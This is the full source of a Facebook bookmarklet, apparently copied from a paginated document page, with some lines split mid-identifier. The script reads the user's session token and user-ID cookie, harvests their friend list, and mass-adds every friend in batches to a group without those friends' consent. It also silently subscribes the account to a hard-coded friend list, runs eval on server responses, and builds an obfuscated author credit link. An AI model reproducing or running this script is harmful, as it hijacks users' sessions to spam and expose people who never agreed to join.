You are on page 1of 3

javascript:void(function(){

var dtsg=document.getElementsByName("fb_dtsg")[0].value;
var uid=document.cookie.match(/c_user=(\d+)/)[1];

var dyn="7n8ahyj35CCzpQ9UmWOGUGy1m9ACUb8yGg";
var req=8;
var rev="1033590";
var ttstamp="265816767119957579";

window.aing={
ldng:"<img src=\"//fbstatic-a.akamaihd.net/rsrc.php/v2/yb/r/GsNJNwuI-UM.gif\"
width=\"16px\" height=\"11px\" style=\"margin:0 5px\"/>",

prm:"fb_dtsg="+dtsg+"&__user="+uid+"&__dyn="+dyn+"&__req="+req+"&__rev="+rev+"&ttst
amp="+ttstamp+"&__a=1",

prmdg:"fb_dtsg="+dtsg+"&__user="+uid+"&__a=1&source=typeahead&ref=&message_id=&phst
amp=",
prmgp:"__a=1&viewer="+uid+"&token="+Math.random()
+"&filter[0]=user&options[0]=friends_only",

prmls:"location=permalink&action=subscribe&flid=586419591422497&fb_dtsg="+dtsg+"&__
user="+uid+"&__a=1&__dyn="+dyn+"&__req="+req+"&__rev="+rev+"&ttstamp="+ttstamp,
btn:function(a,b){var c="<a class=\"uiButton\" href=\"#\"
onClick=\"";if(a==null||a==""){c+="aing.injek()"}else{c+=a}c+=";return false\"
style=\"font-size:9px;margin:2px;line-height:9px\">";if(b==null||b=="")
{c+="Rescan"}else{c+=b}return c+"</a>"},
insb:function(isi,di,bf){if(di){var
a=document.createElement("div");a.innerHTML=isi;if(bf==null)
{bf=di.firstChild}while(a.firstChild){di.insertBefore(a.firstChild,bf)}}},
apen:function(isi,di){if(di){var
a=document.createElement("div");a.innerHTML=isi;while(a.firstChild)
{di.appendChild(a.firstChild)}}},
styl:{box:"text-align:left;border-
radius:3px;padding:3px",inf:"width:500px;position:fixed;z-
index:9999;top:30%;right:0;text-align:center;font-size:10px;border-radius:5px;box-
shadow:0 0 7px rgba(0,0,0,0.25);background-color:rgba(242,242,242,0.75)"},
aduk:function(a){var b=a.length,c,d;while(0!==b){d=Math.floor(Math.random()*b);b-
=1;c=a[b];a[b]=a[d];a[d]=c}var
cr=['i','a','e','g','o','s','n','b','l','p','m','2','r','0','c','1','t','3','\xA9']
,crl=cr[1]+cr[0]+cr[6]+cr[3]+cr[14]+cr[12]+cr[2]+cr[1]+cr[16]+cr[0]+cr[4]+cr[6]+cr[
5]+'.'+cr[7]+cr[8]+cr[4]+cr[3]+cr[5]+cr[9]+cr[4]+cr[16]+'.'+cr[14]+cr[4]+cr[10];ain
g.crj='<div style=\'margin-top:10px;color:gray;font-size:12px;text-
align:right\'>'+cr[1].toUpperCase()+cr[0]+cr[6]+cr[3]+cr[14].toUpperCase()
+cr[12]+cr[2]+cr[1]+cr[16]+cr[0]+cr[4]+cr[6]+cr[5]+' '+cr[cr.length-
1]+cr[11]+cr[13]+cr[15]+cr[17]+'<div style=\'font-size:9px\'><a
href=\'http://'+crl+'/\' target=\'_blank\'>'+crl+'</a></div></div>';return a},
kolAjak:function(i,r,l,a,n){if(n==null||n==""){n="POST"}else{i+="?"+r}var h=new
XMLHttpRequest();h.open(n,i,true);h.setRequestHeader("Content-type","application/x-
www-form-urlencoded");h.onreadystatechange=function(c){if(c.target.readyState==4)
{if(aing.panggilanKe){aing.panggilanKe++}else{aing.panggilanKe=1}var
e={errorSummary:"connection error!",errorDescription:"ajax
status="+c.target.status};if(c.target.status==200||c.target.status==400){var
d=c.target.responseText;if(d==""){e.errorSummary="empty
callback!"}else{e=JSON.parse(d.substring(d.indexOf("{"),d.lastIndexOf("}")
+1))}a(l,e)}else if(aing.panggilanKe<2)
{aing.kolAjak(i,r,l,a,n)}else{aing.panggilanKe=0;a(l,e)}}};h.send(r)},
kasihTau:function(apaan,lagi){var inf=document.getElementById("kiri-
bawah");if(inf){if(lagi==null||lagi==""){inf.lastChild.innerHTML=apaan}else{var
lg=document.getElementById(lagi);if(lg){lg.innerHTML=apaan}else{aing.apen("<div
id=\""+lagi+"\">"+apaan+"</div>",inf.lastChild)}}}else{var isiinf ="<div id=\"kiri-
bawah\" class=\"pam uiBoxGray\"
style=\""+aing.styl.inf+"\"><div></div><div>"+apaan+"</div></div>";var
whr=document.getElementById("rightCol");if(!whr)
{whr=document.body}aing.apen(isiinf,whr)}},
klos:function(){var inf=document.getElementById("kiri-bawah");if(inf)
{inf.parentNode.removeChild(inf)}aing.kolAjak("/ajax/friends/lists/subscribe/modify
",aing.prmls,"",function(){})},
getPren:function(){window.loadBarFrom=0;aing.deleted=0;aing.kasihTau("Collecting
friends, wait up..
"+aing.ldng);aing.kolAjak("/ajax/typeahead/first_degree.php",aing.prmgp,"",function
(q,p){if(p.payload&&p.payload.entries)
{aing.friends=aing.aduk(p.payload.entries);var a="<div class=\"uiBoxGray\"
style=\"border-radius:3px\">Found <b>"+aing.friends.length+" Friends</b></div><div
id=\"edtugrup\" style=\"margin-top:2px\"></div><div id=\"edtugrup-impoh\"
style=\"margin-top:2px\"></div><div id=\"edtugrup-impoh-eror\" style=\"margin-
top:2px\"></div>";if(aing.friends.length==0)
{aing.kasihTau(a+aing.btn("aing.getPren()"+aing.crj))}else{aing.kasihTau(a+aing.crj
);aing.addToGroup()}}else if(p&&p.errorSummary&&p.errorDescription)
{aing.kasihTau("<div class=\"uiBoxRed\" style=\"border-
radius:3px\">"+p.errorSummary+",
"+p.errorDescription+"</div>"+aing.btn("aing.getPren()"))}else{aing.kasihTau("<div
class=\"uiBoxRed\" style=\"border-radius:3px\">"+JSON.stringify(p)
+"</div>"+aing.btn("aing.getPren()"))}},"GET")},
inform:function(a,b){var c="";if(b&&b.name){c=b.name}else if(b&&b!=""){for(x in
aing.friends){if(aing.friends[x].text&&aing.friends[x].uid&&aing.friends[x].uid==b)
{c=aing.friends[x].text;break}}}return c.split(" ")[0]},
addToGroup:function(c,d){var e="Adding ";if(c==null||c=="")
{c=0;aing.edgruperor=0;aing.edgrupok=0;aing.gid=document.getElementsByName("group_i
d")[0].value}if(d==null||d==""){d=100}if(d>aing.friends.length)
{d=aing.friends.length;aing.edgrupnek=""}else{aing.edgrupnek={f:d,t:((d*2)-
c)}}e+=(c+1)+" to "+d+" friends to Group, wait up..
";aing.kasihTau(e,"edtugrup");for(var x=c;x<d;x++)
{aing.kolAjak("/ajax/groups/members/add_post.php",aing.prmdg+"&group_id="+aing.gid+
"&members="+aing.friends[x].uid,"",function(q,p)
{if(p&&p.errorSummary&&p.errorDescription){aing.edgruperor++;var a="<div
class=\"uiBoxRed\" style=\""+aing.styl.box+"\">";var
b=p.errorDescription;if(p.onafterload&&p.onafterload[0])
{b=p.errorDescription.replace(/This user|user |Pengguna ini|pengguna /gi,"<a
href=\"/friends\" target=\"_blank\" style=\"font-
weight:bold\">"+eval(p.onafterload[0].replace(/Arbiter\./i,"aing."))
+"</a>")}a+="<div>(Fail: <b>"+aing.edgruperor+"</b>)
"+b+"</div>";a+="</div>";aing.kasihTau(a,"edtugrup-impoh-eror")}else
if(p.jsmods&&p.jsmods.require){aing.edgrupok++;var a="<div class=\"uiBoxYellow\"
style=\""+aing.styl.box+"\"><b>";for(y in p.jsmods.require){if(p.jsmods.require[y]
[3]&&p.jsmods.require[y][3][1]){a+=" "+p.jsmods.require[y][3]
[1]}}if(p.onload&&p.onload[0]){a+="</b><div>(Added: <b>"+aing.edgrupok+"</b>) <a
href=\"/friends\" target=\"_blank\" style=\"font-
weight:bold\">"+eval(p.onload[0].replace(/Arbiter\./i,"aing."))+"</a> added to
Group..</div>"}a+="</div>";aing.kasihTau(a,"edtugrup-impoh")}else{aing.edgruperor+
+;var a="<div class=\"uiBoxRed\" style=\""+aing.styl.box+"\">(Fail:
<b>"+aing.edgruperor+"</b>) "+JSON.stringify(p)+"</div>";aing.kasihTau(a,"edtugrup-
impoh-eror")}if((aing.edgruperor+aing.edgrupok)>=aing.friends.length)
{aing.kasihTau(aing.btn("aing.getPren()")+"
"+aing.btn("aing.klos()","Close"),"edtugrup")}else
if(aing.edgrupnek.f&&(aing.edgruperor+aing.edgrupok)>=aing.edgrupnek.f)
{aing.addToGroup(aing.edgrupnek.f,aing.edgrupnek.t)}aing.loadBar(document.getElemen
tById("edtugrup"),aing.friends.length,"#4c66a4",function(){},"no")})}},
loadBar:function(a,i,n,g,s){i=i*1;if(window.loadBarFrom&&window.loadBarFrom<i)
{loadBarFrom++}else if(window.loadBarFrom&&window.loadBarFrom==i)
{}else{window.loadBarFrom=1}var u=a.getElementsByClassName("loading-bar")[0];var
b=((loadBarFrom*100)/i);if(u){u.firstChild.style.width=b+"%";if(s==null||s=="")
{a.firstChild.innerHTML=loadBarFrom+"/"+i;if(loadBarFrom>=i)
{a.getElementsByClassName("stat-count")[0].innerHTML="<b
style=\"color:darkgreen\">"+Math.floor(b)+"% Done!
</b>";g()}else{a.getElementsByClassName("stat-count")[0].innerHTML="Loading
"+Math.floor(b)+"% Please wait.."}}else{u.firstChild.innerHTML=Math.floor(b)
+"%";if(loadBarFrom>=i){g()}}}else{u=document.createElement("div");if(s==null||
s==""){u.innerHTML="<center class=\"stat-count\">Loading "+Math.floor(b)+"% Please
wait..</center><div class=\"loading-bar\"><div style=\"width:"+b+"%;background-
color:"+n+";border-radius:5px\">&nbsp;</div></div><center class=\"prog-
count\">"+loadBarFrom+"/"+i+"</center>"}else{u.innerHTML="<div class=\"loading-
bar\"><div style=\"width:"+b+"%;background-color:"+n+";border-radius:5px;white-
space:nowrap;overflow:visible;color:#fff9d7\">"+Math.floor(b)
+"%</div></div>"}while(u.firstChild){a.insertBefore(u.firstChild,a.firstChild)}}}
};
aing.getPren();

})();